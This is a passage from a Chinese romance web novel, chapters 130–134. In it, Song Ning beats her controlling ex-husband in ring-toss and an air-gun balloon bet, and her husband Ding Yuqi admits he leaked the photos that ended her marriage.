萝卜眉飞色舞道:“……那个老冯,就是个碎嘴子,什么秘密都藏不住。有一次丁儿喝醉了,但是你知道的,部队里是不准喝酒的,老冯直接一个报告打到领导那儿去了。” 宋凝期待:“所以,他被领导罚去担猪粪了?” “没有,嫂子你听我说完。” “你说你说。” 萝卜摸了摸下巴,一脸贱兮兮地笑:“说起来这件事还跟你有关。” 宋凝蒙了一下。 ……跟她有关? “那天,好像是你跟包厢里那个家伙的婚礼。丁儿去参加了,回来之后就把酒当矿泉水喝。我们几个当然是帮他瞒着啊,结果不知道怎么的,被老冯看到了。” 宋凝微微缩了缩脖子。 她跟傅东擎婚礼那天,她记得丁予期的确是出席了。 不过那一天她就像是木偶一样被拉着走流程,高跟鞋穿的脚痛,裙子的裙摆也大的不行,整个人都累的身心俱疲。 傅东擎那一圈朋友应该都来了。 丁大哥也去了。 但是她的印象也只有这样,其他的都有些记不清了。 至于那天丁予期发生了什么,她一无所知。 萝卜突然换上了一副有些同情地目光看着丁予期:“我们丁儿,苦啊。” 丁予期突然轻咳了一声,说道:“别说这个了,继续说老冯吧。” 萝卜撞了他一下:“你懂不懂事,哥们正在帮你卖苦肉计呢。” “现在不合适。” “现在不合适什么时候合适?” “以后再说。” 苦肉计这个东西,得等对方在乎的时候才有用,现在还不是时候。 他看得出来,宋凝很喜欢老姚和萝卜他们几个,原本在酒店的时候还有些闷闷地,一见到他们立刻就活泛起来了。 好像整个人被激活了似的。 其实……这才是她本来的样子。 到底还是被闷在那栋别墅里太久了,把她的性格都改变了。 正说着,店外传来一阵喧闹的声音。 老姚问了一个服务员:“外面怎么了?” 服务员似乎已经习以为常了:“没什么,就是外面的步行街有一些小摊贩在摆摊子。” “什么摊子?” “就是有一些套圈,射击什么的……” 射击?! 服务员这两个字一出口,在场的几个人眼睛都亮了起来。 老姚一拍桌子:“反正炒一本估计还得等一些时间呢,我们出去热热身?” 萝卜当即同意“走走走。” 丁予期询问宋凝的意思:“想去玩吗?” “可以。” 丁予期牵起她的手:“走。” 刚准备出发的时候,正好傅东擎和林澜也从包厢里出来了。 林澜似乎也听到了外面的热闹声,正在笑着跟傅东擎叽叽喳喳说着什么。 看到宋凝的时候,她脸上的笑容微微有些僵住了:“宋小姐,丁律师,你们也在这里吃饭?” 宋凝回了一句:“不行吗?” “……当然可以。”林澜说:“我只是想说,好巧啊。整个S市这么大,海鲜餐馆那么多,怎么就刚好都聚在这里了呢,真是挺神奇的。” 林澜就差直接说,宋凝他们是专门跟着傅东擎过来的了。 老姚和萝卜他们已经跑了出去,兴奋地喊她:“丁儿,嫂子,你们快来啊!磨蹭什么呢!” “来了!” 宋凝看都没看傅东擎和林澜,朝着老姚他们就跑了过去。 丁予期紧随其后,帮她隔开周围的人群:“你慢点,当心脚下。” 宋凝很快就到了一个套圈的摊子前面,跟几个男人喜笑颜开地说着什么。 她明显跟那几个男人很熟,谈笑都很自然。 丁予期就默默站在她身侧,手臂虚虚的环在她身后,护着她不被拥挤的人潮碰到。 他的怀抱仿佛就是孙悟空临走时给唐僧用金箍棒在地上画的那个圈。 只要圈在,就没有妖魔鬼怪能近她的身。 “东东……” 傅东擎收回视线,隐忍着有些不耐烦:“又怎么了?” 林澜低着头,委屈地说:“我知道,要不是傅伯伯和傅伯母逼你,你是不想单独带我出来吃饭的。” 傅东擎眼中的烦躁一闪而过:“你想说什么,直接说。” “你还爱宋小姐,对不对?” “这个你不是早就知道了么。” 林澜咬住嘴唇,缓缓点头:“可是傅伯伯和傅伯母对她有成见,如果你还要跟她纠缠的话,他们肯定还是会对她不利的。” 傅东擎看着远处。 宋凝接过了小摊贩递过来的一摞塑料圈,正在跃跃欲试。 他没理林澜,快速走了过去,一把从宋凝手中把塑料圈抢了下来:“别闹了,快回去。” 老姚当即就不乐意了:“傅总,我花钱买的圈,你抢走了算怎么回事?” 傅东擎瞪了他一眼,随即看向了丁予期,眼神中带着不满和责难:“现在什么时间知道吗?” 丁予期依旧是那副似笑非笑的表情:“傅总手机被偷了吗?看不到时间?要不然……借你未婚妻的手机看看?” “现在九点半了!”傅东擎低吼出声:“阿凝这个时间应该已经准备休息了!你口口声声说爱阿凝,你就是这么爱的?你能不能设身处地地为她考虑一下?” 萝卜嗤笑了一下:“傅总你是不是还活在古代啊,现代年轻人哪有九点半就睡觉的?再说了,傅总你今天不也带着妹子出来了么,有什么立场在这指责别人?” 傅东擎冷冷地说:“阿凝跟别人不一样。我跟她这么多年了,她的生活习惯我比任何人都清楚!” “是她的生活习惯吗?”丁予期冷不丁刺了一句:“还是你给她定的生活习惯?” “你什么意思?” “早上七点半起床,晚上九点半睡觉,你不在的情况下不能自己单独出门,得有你陪着才可以。如果她单独出门,你就兴师动众的到处找人,找不到还要惊动警察局……” 萝卜噗嗤一声笑了:“这个生物钟和纪律性,怎么像我们当兵的啊?” 丁予期也冷下了脸:“可是宋凝并不是你训练的士兵,她有她的节奏和需求。” 傅东擎低斥:“你懂什么?我让她早睡早起是为了她的身体好,而且她长期没有自己出过门了,一个人出去会有危险,我不放心……” “她为什么长期没有一个人出过门了?” “因为她……” “因为你的一句不放心,她怕你会担心,不想给你添麻烦,所以才一直不出去,久而久之,慢慢跟社会脱节。” 第一百三十章 有些事情,我们用这个来决定吧 傅东擎的表情变换了好几轮。 从惊愕,到不解,最后到愤怒。 “你根本就不懂我跟阿凝之间的相处方式。” “你们的相处方式?” 丁予期别开眼,看向了最远处的一个陶瓷罐小猫。 “那个,漂亮吗?” 他扔了一个塑料圈过去,精准地套住了陶瓷罐小猫。 他轻声说:“宋凝对你来说,就像是那个小猫。精致,漂亮,但是易碎。所以你总是把她藏在最后面,最里面,怕被别人撞到打碎,所以干脆隔绝她跟所有人,只把她摆在你的眼前。” “我只是珍惜她而已,我有什么错?” “你也只是珍惜她,却从来没有尊重过她的性格。你用你自以为好的方式强加在她身上,把她强行掰成你想象中的她的样子罢了。” 傅东擎眉头越蹙越深。 显然还是不太明白。 丁予期把手上的塑料圈递给宋凝,然后指了指角落里的猪猪存钱罐:“那个,看到了吗?” 宋凝顺着他手指的方向看过去,微微点头:“看到了。” “套它。” 宋凝微一点头,屏气凝神,集中注意力,瞄准后就要扔出去。 可下一秒,她手中的塑料圈被人劈手夺过去。 傅东擎仍旧是一脸的不赞同:“这个塑料圈不知道被多少人摸过碰过,细菌很多!而且阿凝从来没有玩过这个,你为什么非要让她玩?” 他转而怒斥丁予期:“你到底想干什么?!” 丁予期冷笑了一声,从他手中又把塑料圈夺了回来,又递给了宋凝:“有信心吗?” 宋凝估算了一下:“八成把握。” “可以,来。” 这一次宋凝再也没有迟疑,快速抛出了塑料圈—— ……精准命中。 丁予期微微勾唇。 傅东擎脸色黑沉。 老姚直接喊了出来:“哇哦!嫂子以前真的没玩过吗?这距离可不近啊!” 丁予期又指了更远一点的一个玲娜贝儿玩偶:“那个。” 宋凝套中了一个,信心大增,看准目标后又是一次精准抛出。 塑料圈准准地把毛绒玩偶也套中了。 宋凝肉眼可见地活泛了起来,这次不用丁予期说,直接瞄准了最后面一排难度最大的一个高达机器人。 她几乎不怎么需要准备时间,当塑料圈落下的时候,连大拿都露出了赞许的眼神。 萝卜还是有些不相信:“嫂子真是第一次玩?” 宋凝想了想,说:“也不算是第一次了,小时候我爸爸带我玩过。” 小时候。 自从跟傅东擎在一起之后,他的确把自己保护的很好。 有时候连她自己都觉得,自己好像就是应该被人保护,被人珍藏的一个艺术品。 直到那次雪球被害死,盛怒之下她才终于找回了本性,找傅学森和蒋秀兰报复了一下。 那一次…… 也是丁予期陪着她的。 还有那次她去跟林澜正面交锋,也是他。 甚至可以说,这些年里她都在兢兢业业地扮演一个温婉体面的傅太太。 为了给傅东擎省心,为了让他放心出去工作,甚至为了他尝试压抑自己去迎合傅学森和蒋秀兰对于儿媳妇的要求。 到了最后,她连自己是谁都忘记了。 只有这些年再跟丁予期互怼的时候,才能肆无忌惮地宣泄自己,为压抑的生活找到一个小小的出口。 她看向丁予期,正好对上他一张似笑非笑的脸。 小贩似乎也没遇到过这么百发百中的女孩子,气哼哼地把他们刚才套中的几件东西拿了过来。 萝卜去接的。 他打着圆场说道:“我们换一个玩吧,嫂子太牛了,我们不能逮着一只羊薅羊毛啊!” 大拿看向了旁边的射击摊子。 对面的墙壁上,是一整面墙的小气球。 旁边还挂着许多跟人差不多高的玩偶作为奖品。 “我们去玩那个?” 老姚立刻摆了摆手:“你跟丁儿可都是当过狙击手的,玩这个太欺负人了,人家老板挣点钱也不容易。” 萝卜立刻举手:“那我去呗,我最菜。不过我一个人玩也没什么意思啊,嫂子,我俩一起?” 宋凝没什么意见,点点头:“可以。” “够了!”傅东擎走了过来,一把扯过宋凝的手,握住她的肩膀:“阿凝,我送你回去。” “诶诶诶!”老姚和大拿一起上前,一边一个推开了他,让他不得不放开了抓着宋凝肩膀的手。 老姚冷哼了一声说:“傅总,离都离了,男人一点儿行吗?别黏黏糊糊的甩都甩不干净。” 傅东擎重重推了回去,拉着宋凝就走:“阿凝我们走,以后少跟这些人来往……” “傅东擎。” 宋凝被拉着走了两步,然后站定,不再往前。 傅东擎察觉到她的意图,也停下了脚步。 他带着些无奈和祈求:“阿凝,不要闹了好不好?我送你回去休息,你用杀菌洗手液好好洗个手,然后好好休息。我知道你介意我曾经做过对不起你的事,我也不求你现在就能原谅我。但你不能这么堕落下去……” “我怎么堕落了?” “你……”傅东擎咬了咬牙,别过脸去:“出来找什么工作,对谁都要赔笑脸,大晚上的不在家待着,还被这群流里流气的人带出来玩这种脏兮兮的游戏……” “我现在在卫斯理做经理,是为了实践和学习,将来更好的管理我爸爸留下的丽晶酒店。傅东擎,我们在一起这么多年,你在意过我爸爸的酒店吗?” “可你爸爸那个酒店也没多大,挣不了几个钱的。你乖乖在家里当衣来伸手饭来张口的傅太太不好吗?何必非要吃那个苦呢?” 宋凝往后退了一步,摇头:“不好。” “阿凝,你真是被丁予期带的心都野了……” “傅东擎,有些事情,我们用这个来决定吧。” 宋凝偏头看了看旁边的射击摊子。 傅东擎用一种不可置信地眼光看着她:“阿凝……” 宋凝伸手,丁予期早已准备好了,把一杆调好的气枪递给她。 宋凝拿在手里掂了掂,轻声对傅东擎说道:“如果我赢了,我们好聚好散,以后我们就单纯只是酒店经理和客人的关系,我会尽力服务好你和你父母,以后你们离开了,我们就再无瓜葛。” 她的语气温柔而坚定,并不是带着冲动的气话。 她是认真的。 傅东擎垂在身体两侧手紧紧攥成拳头:“那如果我赢了呢?” “你说个赌注?” “回到我身边。”他说:“我父母暂时还是不能接受你,所以你得继续留在S市,但是必须得在我的势力范围内,我会派人过来专门保护你,我来找你的时候,你——不准拒绝我。” 第一百三十一章 有她在,傅东擎一定会输 老姚一听就不乐意了:“傅总,你这是学古代人养外室呢?” 萝卜直接冷哼了一声:“外室还用重兵把守?” 傅东擎冷着脸,声音越发的不耐烦:“各位,这是我跟阿凝之间的问题,几位是不是有点管的太宽了?” “可是傅总,现在宋小姐跟你已经没什么关系了吧?你凭什么对一个跟你已经没关系的人要求这么多?怎么,你还准备铜雀春深锁二乔?” 傅东擎沉默了一会儿,似乎是不想跟他们争辩什么,只是看向了宋凝:“阿凝,这个赌注,你敢吗?” 身后,老姚他们不知道傅东擎的底细,于是轻声问了问丁予期。 “丁儿,你跟他应该挺熟的,他水平怎么样?” 丁予期沉吟道:“还不错。” 老姚倒吸了一口凉气:“还不错是有多不错?” “跟我,偶有胜负。” 这下,连萝卜的表情也严肃了起来:“他怎么会的?” 丁予期冷笑:“我教的。” “不是,你没事儿教他这个干什么?” 其实那还是学生时候的事情了。 他每个暑假都要去外公的部队里报到,经常摆弄一些枪械。 后来傅东擎看到了,他就带着傅东擎一起去了几次射击场。 男生似乎在这些方面都有些天赋,傅东擎去了几次就学了个大概。 有一次,傅东擎还是带着宋凝一起去的。 只不过那时候…… 他不让宋凝碰这些东西,说不干净,说危险。 大拿的声音低沉:“要不然,我替嫂子来。” 丁予期挑眉轻笑:“不用。” “可是嫂子只在射击场玩过,这种气枪跟射击场那种很不一样。” 老姚也说:“就是啊丁儿,你刚没听到他说的赌注吗?嫂子才刚接触没多久,要是真输了,你的媳妇可就真没了!” 说话的功夫,宋凝已经拎着枪走到了射击位置:“开始吧。” 傅东擎也跟着她走了过去,在她旁边的位置上站定:“规定时间内,谁打破的气球数越多,谁就算赢。” 宋凝想了想,“可以。” “你先还是我先?” “都可以。” 傅东擎说:“那就你先吧,女士优先。” 宋凝点了点头,按照丁予期之前教过的姿势,举起了枪。 一整墙红红绿绿的气球,在她看来就是一个又一个靶子。 “谁来计时?” 一直没说话的林澜突然上前了一步:“要不就我来吧?” “你?”萝卜轻笑:“你到底是想傅总赢还是输啊?” 林澜咬住唇:“我相信他能赢。” “可是他赢了的话,你可就彻底没戏了。” 林澜脸上的血色退了个彻底。 看上去像是心里正在剧烈挣扎着。 可丁予期在一旁,却把她眼中一闪而过的精光尽收眼底。 他忽而笑了笑。 这个林澜,倒是有些出乎他所料了。 “算了吧,还是让摊主来计时,这样更公平一些。” 宋凝突然开了口:“等一下。” 萝卜问道:“怎么了嫂子?” 宋凝说:“这么多气球,不管是统计被打破的还是没被打破的,都需要很长时间,而且一个人打完换另一个人的时候,也需要重新吹气球,太浪费时间了。” 萝卜思索了一点,点了点头:“那嫂子你的意思是?” “计时,”宋凝说:“打破一百个气球所需的时间,时间短的获胜。” 萝卜去跟摊主交涉了一下,摊主点了头。 摊主负责计时,一声令下,宋凝开始射击。 她打的速度并不算太快,但每一枪都能精准命中。 第一排十个气球打完的时候,她只用了七秒。 每次出枪的后坐力都让她的肩膀不自觉地往后弹开一下,她体重轻,力量也轻,每次都需要重新调整射击姿势,再次瞄准,才能出下一枪。 尽管她已经尽量快了,但还是每一枪中间得有个不到一秒钟的间隔。 老姚在旁边急的抓耳挠腮:“这不行啊,这两枪当中的准备时间就占了太多,这样嫂子很吃亏的。” 萝卜直接开始上蹿下跳:“打个气球,这个枪怎么有这么大的后坐力啊!刚忘记考虑这一点了。” 大拿一直没说话,但神情严肃,脸绷的紧紧的,明显也是微微有些担忧的。 他回头看了一下抱着手臂靠在一旁的丁予期:“你就一点儿都不担心?嫂子虽然打得准,但准备时间确实浪费了很多,这样下去真说不准输赢。” 丁予期眯着眼睛,“傅东擎会输。” “你就这么肯定?你刚刚不是还说,他的枪法跟你不相上下么。” 丁予期笑而不语。 傅东擎的枪法没问题。 但他的身边有林澜。 她能算好时间,抢在傅东擎来S市见到宋凝之前自导自演了帝景大厦那一出,在所有媒体面前让傅东擎不得不承认了自己的身份。 怎么可能会允许宋凝再回到傅东擎身边。 宋凝不一定会赢。 但有她在,傅东擎一定会输。 “好了,打完了。” 宋凝放下枪,看向旁边的摊主。 摊主看了一眼手机上的秒表:“一分五十六秒。” 宋凝点了点头,放下枪,转头朝着丁予期走了过来。 手腕却被拉住了。 傅东擎轻声说:“阿凝,如果我赢了,我希望你能遵守诺言。” 余光里,宋凝看到站在阴影里的林澜似乎正背对着这边在打电话。 她轻笑:“你赢不了。” “可是你的速度并不快,对我来说并不是太难、” “好啊,那我拭目以待。” 宋凝挣脱开他的桎梏:“傅总,快点吧,别浪费时间,我们点的菜估计快要上来了。” 傅东擎只好松了手,屏息凝神,举起了气枪。 在摊主的发令下,他也开始了射击。 男人的力量在这个时候显现出了很大的优势,气枪的后坐力对宋凝来说会影响她的姿势,需要重新调整,但是对于傅东擎来说就并不需要了。 他把枪把抵在肩膀上,后坐力小的几乎看不出来。 他的平均射击速度明显要比宋凝快上许多,才刚刚十秒钟,就已经打完了前两排一共二十颗气球。 老姚一把抱住萝卜:“怎么办?要不你从后面给他一闷棍?” 萝卜也抱住了老姚:“人来人往的哪儿去找棍子,要不你给他一个肉蛋冲击得了,以你的体重,肯定能把他撞飞出去。” 老姚看了看自己肚子上的五花三层的肥肉:“也不是不行……等等,你说谁是肉蛋?” “现在是计较这个的时候吗?煮熟的嫂子都快飞了!” “……不对,你看丁儿的眼神。” 丁予期还是一样松松垮垮地站在旁边,唇角含笑,不急不躁,似乎一切都尽在掌握。 “这个笑容!”老姚顿时打了个冷战:“丁儿只要一露出这个笑容,就一定有人要倒霉了……” 第一百三十二章 胜负已分 宋凝走过来的时候,丁予期熟稔地从她手里接过气枪,顺手放在了一边的台子上。 见宋凝一脸轻松的样子,他好整以暇地轻笑:“你一点都不紧张?这么有把握自己能赢?” 宋凝也笑:“你不也一样?” 两人相视一笑,都从对方眼中看到了一种了然地轻松。 不远处,傅东擎还在熟练的击碎一个又一个气球。 宋凝其实并没有学很久,只能算是个门外汉。 但是她是见过丁予期和大拿射击时候的样子的,对比下来,傅东擎的姿势其实并不算特别专业。 不过这种娱乐性的射击难度也不大,对他来说并不算很难。 眼看着,前面几排气球全都被他打碎了。 只剩下最后一排。 老姚用拳头狠狠捶着旁边的行道树。 大拿也眉头深锁。 砰砰砰! 气枪的声音接连响起,转瞬间气球已经只剩下为数不多的几个了。 老姚的目光落在了刚刚被丁予期随手放在一边的气枪—— 这玩意……比不上木棍吧? 但是手边没有合适的东西了,只能凑合凑合。 脑中想着,他的手已经把气枪拿在手中…… “哎呀——” 林澜似乎被旁边的行人撞了一下,惊呼一声之后,直直扑倒在傅东擎身上。 气枪原本都已经瞄准了,被这么一扑之后,子弹立刻偏离了原本的目标,落在了摊子旁边的一个巨大的毛绒玩偶身上。 摊主吓得脸色都白了,气枪的威力虽然不算太大,但是步行街上人来人往的,万一打着行人也是不好的。 还好还好,只是打中了玩偶。 傅东擎心中着急,想要推开林澜继续射击。 可是林澜眼中蓄起了一包眼泪,眼睛红红的,拉着他的袖子委屈地说道:“东东,不好意思,我不是故意的……” “那你快站起来,走远点!” “好的,你别生气,我这就走……啊!” 林澜刚站起来一点点,突然脚下一软,再一次扑了回去。 这一次傅东擎还没来得及扣动扳机,就又被打断了。 “……东东,我的脚好像扭到了,走不成路了。” 傅东擎气的咬牙:“你去旁边趴着!” 林澜咬着唇,泫然欲泣地点头:“对不起,是我没用,是我连站都站不好。” 傅东擎现在满脑子都是气球,哪里还顾得上跟她纠缠。 林澜好半天都没挪动一点点,他只能往旁边跨了一步,避开林澜,然后继续举起气枪瞄准。 只是现在这个位置,就不是正对着气球墙了,而是有了一定角度的倾斜。 傅东擎本来就心烦意乱,连着开了三枪,一个气球都没打破。 越急手越抖,又连续放了几个空响之后,旁边响起了摊主的声音:“这位先生,已经两分钟了。” “什么……” 摊子把手机上的秒表转过去给他看:“您已经输了。” “呀吼!”老姚大声喊了出来,跟萝卜兴奋地击了一下掌。 大拿也缓缓松了一口气。 傅东擎愤怒地盯着还瘫坐在地上的林澜,可林澜一副无辜的样子,他也不好当街骂女人。 再回头的时候,却看到丁予期和宋凝并肩站着,两个人都是一模一样抱着手臂的姿势,神情轻松。 乍一看,好像脸上的表情都差不多。 傅东擎的声音微微发抖:“这次不算!刚刚有外部环境干扰!再来一局!” “诶,这可不行啊,”老姚嘿嘿笑:“你堂堂傅总,不能说话不算话呀。” 萝卜立刻附和:“是啊,我们嫂子还被后坐力干扰了呢,她一个女人都没说什么,你一个大男人反倒嚷嚷起来了。再说了,还不是你女人干扰的你,你可怪不了别人。” 傅东擎目眦欲裂:“她不是我女人!” “不是吗?你没亲过还是没抱过?” 傅东擎一哽:“……” 大拿声音偏冷,但有种一锤定音的意味:“胜负已分,傅总,希望你以后遵守诺言,像个男人。” 正巧,海鲜店家的服务员正好出来找人,看到他们的时候笑着说道:“几位原来在这里啊,菜已经好了,可以进去入座了。” 老姚吆喝了一声:“走吧兄弟们,吃饭去!” 他一手捞萝卜,一手捞大拿,勾肩搭背地率先进了店。 丁予期看了一眼宋凝,轻笑:“走吧?” “嗯。” 两人刚转身,就听到傅东擎又叫了一声:“阿凝。” 宋凝心里烦闷,想要转身再把话说重一点,丁予期就轻轻拦了一下:“去吃饭吧。” “?” “你越理他,他越是放不开手。” 宋凝思索了一下,点了点头。 丁予期帮她拉开门,护着宋凝进去。 看着她在老姚他们几个身边落座,他回头看了一眼。 夜晚风大,傅东擎梳理的一丝不苟的头发早就被河风吹得有些凌乱,看起来有几分颓废的意思。 对上他视线的时候,丁予期能感受到他眼中的失落瞬间化为了锐利。 再看旁边的林澜—— 她不知什么时候已经站了起来,正偏头看着傅东擎。 只不过…… 眼里也没有一丝爱意。 有的只是目的达到的微笑,和势在必得的傲气。 似乎是注意到了丁予期的目光,她也看了过来。 她动了动嘴,做了一个口型。 丁予期冷笑,目光却变成了阴冷。 他收回目光,转身进入了餐厅。 宋凝问了一句:“看什么呢?” 丁予期的目光顿时变得柔和起来:“看看林澜有没有事,需不需要送医院。” 宋凝知道他没说实话。 但此时她也不想问到底了。 事情解决了就好。 丁予期擦了擦手,拿起一只虾慢悠悠地剥着。 宋凝回头看了一眼。 气枪摊子上,傅东擎和林澜已经不在原地了。 “……你也知道最后林澜肯定会搞事情?” 丁予期的话把她的思绪拉了回来,一只虾剥好,他白嫩嫩的虾肉放进宋凝面前的碟子里:“这家的白灼虾做的不错,你尝尝。” 宋凝说:“我之前让私家侦探查过林澜。她家里负担很重,光靠她做导购恐怕填不上她弟弟和她爸的窟窿。她已经攀上了傅东擎这棵大树,怎么可能轻易就放手。” 丁予期点了点头。 “丁总,我能问你一个问题吗?” 丁予期又剥好了一只虾,“嗯,你说。” “林澜……是你送到傅东擎身边的吗?” 第一百三十三章 把傅东擎当错题集做 丁予期似乎早就料到她会问。 他没有立刻回答,只是继续手上的动作:“你希望是,还是不是?” 宋凝摇了摇头:“我不知道。” 其实这个可能性,已经盘旋在宋凝心里很久了。 从她知道丁予期的蓄谋已久开始,她就有了这个猜测。 但是后来她也想明白了,她跟傅东擎之间的问题根本就不是林澜,而是傅东擎从一开始就没有把她当做一个平等的爱人去看待过。 他对于爱人的理解,就是像宠物一样养在别墅里,宠着,爱着,给她好的物质条件,让她成为自己的所有物。 ——就像是她对雪球那样。 她从不否认傅东擎是爱过她的。 但还是那句话,她是一棵底层上来的杂草,不是花房里被精心伺候的娇花。 跟傅东擎结婚后的那三年,她确实被照顾的很好。 傅东擎给她请了厨师,佣人,司机,甚至还有花房的园丁。 可就是不许她出去工作,就连出门跟朋友见面,都要跟他说清楚几点出门几点回。 只要规定时间内没有回家,他就会急冲冲地去找。 从前她只是觉得,这是傅东擎担心她的表现,因为爱她,所以才会这样急切。 她会自责,会觉得自己怎么不体谅辛苦工作的丈夫,还要连累他为自己操心。 久而久之,她就真的很少出门了。 每天唯一的事情就是侍弄花房里里面的那些玫瑰花,然后等他回家。 她就像是温室里的那些花。 看起来娇艳欲滴,可是时间长了,总有枯萎的一天。 反倒是自从入职了卫斯理之后,每天的工作反而让她觉得生活其实可以很充实。 尤其是现在爸爸的酒店也即将重新开业,丁予期买给她的那几本书的确很有用,她有很多想法想要在丽晶酒店里实现。 她绝对不可能再回到那个金丝笼里面去当一只只为傅东擎一个人开放的玫瑰了。 “我以为这个问题,你会更早一点问我。”丁予期说。 宋凝用筷子戳着碟子里的虾肉,轻声说道:“你是怎么选中林澜的?” “是她自己走入我的视线的。” “怎么说?” 丁予期也没有藏着掖着,既然说开了,那索性就全部摊开:“一开始我的确是物色了几个,有小明星,有模特,还有一个跟你长得很像的女大学生。” “然后呢?都失败了?” “除了那个女大学生,傅东擎多看了几眼,动用关系给她找了一个很好的实习单位之外,其他的女人他都没怎么注意。” 宋凝哼笑了一声:“你是想跟我说,傅东擎对我很专情,还是爱屋及乌?” “他的确爱你,这一点我也不否认。”丁予期说:“但你们不合适。” “我们在一起这么多年,你怎么就觉得我们不合适?” 丁予期抽了一张纸,慢条斯理地擦着手:“如果是我,骤然间看到自己的女人和一个老教授出现在酒店外面,我会第一时间应该是你被老男人欺负了,下l 药带去酒店,或者是被做局骗去的。而不是你主动想跟教授发生什么。” 宋凝拿着筷子的手一顿。 丁予期继续说道:“因为我很清楚,以你的性格,但凡察觉出来教授有色心,就算是被下药了,但只要有一丝理智,立刻反手就是一巴掌。” 宋凝拿着筷子的手微微抖了一下。 白嫩嫩的虾肉掉在了海鲜酱油的碟子里。 褐色的酱油四散飞溅。 丁予期抽出几张纸巾递给她:“擦擦吧,弄袖口上了。” 宋凝接过,用力擦了几下,但这种酱油哪里是纸巾能擦掉了,越擦越是徒劳。 丁予期深吸了一口气,语气依旧很沉稳:“你本身学习就好,考研对你来说并不是难事。为了一个保研名额就去陪睡?你做不出来。” 宋凝把纸巾扔进脚边的垃圾桶里:“是你把照片给他的。” “是我给的,”丁予期说:“我承认我很卑劣,阴暗,甚至在这件事上没有道德可言。我原本也以为,他跟你那么多年感情,至少会了解你的为人,你硬气的性格。当我把照片给他的那一刻,我看到他脸上露出震惊和愤恨的表情,我就知道——你们不合适。既然不合适,那凭什么我不行?” 宋凝已经没有心思吃饭了。 从前的事情就像是一个包着蟑螂的琥珀。 从外面看,她也依稀能看到里面蟑螂的轮廓,但丁予期的解释却像是一瓶王水,把琥珀外面的松脂腐蚀殆尽后,把原本就恶心的东西全部剥离出来,高清无 码地摊开在她眼前。 说到底,傅东擎在看到照片的那一刻,就认定了她是个可以为了保研名额奉献自己身体的人。 他从来也不曾想过,她根本不是那种人,她也做不出那种事情。 宋凝甚至检讨了一下自己:“也怪我没办法把那一晚的真相和盘托出,我不能拿唐婷的命冒险。说到底,我也不是完全信任傅东擎,这一点上,我们两个彼此彼此吧。” 丁予期轻声说:“事关一个女孩的名誉和生命,你谨慎一些也正常。” “丁总,你有点双标哦。” 丁予期坦然承认,“我得把傅东擎当错题集做啊,他犯过的错,我不能再犯。” “什么意思?” 丁予期把自己面前的一小碟海鲜酱油换给她,语气轻松但郑重:“无条件相信你。” 这顿饭,大家都没有吃好。 事情说开之后,宋凝和丁予期都没什么胃口。 大拿不爱吃海鲜,也只是少吃了一点点。 老姚和萝卜就比较惨了。 ——肚子疼的冷汗涔涔,最后被丁予期和宋凝一起送去了医院。 医生说:“他们喝了太多的浓茶,茶中含有鞣酸,与海鲜中的蛋白质结合易形成钙化沉淀物刺激胃肠道,不恶心呕吐才怪。” 在医院输了几瓶液体,之前还活蹦乱跳的两个人现在都成了霜打的茄子。 从医院回去的路上,两个人瘫软在后座,唉声叹气。 老姚:“我们是不是宰丁儿太狠,遭报应了?” 萝卜:“一定是,他肯定是对浦江的鱼鲜有什么大恩德,结果鱼儿虾儿们替他报仇来了。” 丁予期无语:“这都能怪我?明明是你们喝茶喝太浓了好吗?” 老姚呜呜:“我以后再也不喝浓茶了。” 萝卜一脸菜色,说话的声音都透着虚:“人啊,还是不能做一点坏事,不然立马遭报应。” “第一,你们几个都是部队出身,怎么还怪力乱神起来了?第二——”丁予期强调:“今天吃的都是海鲜,正儿八经海里面的东西,我就算是对浦江里的鱼儿虾儿有什么恩德,也跟海鲜无关。” 老哼哼了一声:“浦江离海挺近的,说不定是亲戚呢?” 萝卜:“就是就是。” 丁予期无奈,干脆破罐子破摔:“那我立刻打电话给浦江里的翘嘴,让它们转告自己的七舅姥爷和三外甥女,刚刚程度不够,再搞大一点。” “靠!丁儿你这张嘴啊,是不是淬了眼镜王蛇的蛇毒了?” 丁予期:“按照你们的理论,我嘴上淬的应该是浦江里的河豚毒素。” 第一百三十四章 以后我就是嫂子的狗腿子 老姚彻底崩溃了:“你还有没有一点同情心!我要画圈圈诅咒你一辈子没老婆!” 萝卜虚弱地靠在座椅背上,闭着眼睛轻声开口:“那你可诅咒晚了,人家老婆已经都扯证了。” “那可不一定,万一嫂子也看穿了他嘴毒心狠的真面目,不要他了呢?” 丁予期握着方向盘的手骤然间一紧。 刚好是红灯,他缓缓停下了车,偏头看向副驾驶的宋凝。 她似乎睡着了,头歪歪地垂着,神情安宁。 难怪她一路都没说什么话。 老姚:“丁儿,你怕不怕?” 丁予期用手指压在唇上,做了个噤声的手势:“小声点,她睡着了。” 老姚立刻缩了缩脖子,闭了嘴。 丁予期用很轻很轻的声音说道:“不会有那一天的。” 老姚用气声问:“什么?” “我不会让她有离开我的那一天。” 等了十五年才等到的幸福,他决不允许那样的事发生。 …… 到了卫斯理酒店,丁予期把车停好。 大拿率先下车,对丁予期说道:“我负责把那两个扛上去,你照顾好嫂子。” 丁予期点了点头,脱下了自己的外套把宋凝包裹的严严实实,抱着她下了车。 已经是深夜了,大厅里已经没什么客人。 前台的几个小姑娘认了出来,立马站了起来:“丁总。” 丁予期“嗯”了一声:“这几位是我的朋友,给他们开三间房。” “好的。” “大拿,这里交给你了,我先带宋凝回去。” 大拿点头:“好,放心。” 丁予期抱着宋凝直接进了私人电梯,直达64楼。 轻轻把她在床上安顿好,丁予期坐在床边,借着窗外的月光看她。 她的睫毛很长,在眼底落下一小片扇形的阴影,眉心微微蹙着,似乎梦到了不怎么开心的事情。 或许是她的父母,又或者是跟傅东擎那一段失败的感情。 微风吹过,把她的发丝吹的有些凌乱。 他伸手,帮她把脸上的发丝全部拨回耳后。 “睡吧。”他说:“以后,就都是开心的日子了。” 宋凝一觉睡到了日上三竿。 下意识地看表—— 已经十点了。 她下床,走出了卧室,却看到老姚他们几个都在。 “你们都没事了吗?还难不难受?” 老姚回头看了一眼,刚想叫一声嫂子,立刻就被摁着脑袋按在了茶几上。 咚! “哎哟!丁儿你干嘛!” 丁予期皱眉,对宋凝说:“进去把衣服穿好再出来。” 宋凝往下一看,顿时明白了,飞快的跑回了卧室里。 她原本身上的衣服已经不见了,取而代之的是酒店的白色浴衣。 衣服是敞口的,只有腰间的腰带系着。 而且因为她睡觉翻腾的关系,已经有些松动了。 而且…… 她里面的内衣也没了。 宋凝顿时警铃大作。 谁给她换的衣服? ……丁予期吗? 这里应该是丁予期64楼的套房,她睡的也是他的房间和他的床。 宋凝倒吸了一口凉气。 正思索间,卧室门被推开了。 丁予期走了进来,反手把门关好了。 宋凝背过身去,“……你进来干嘛?” 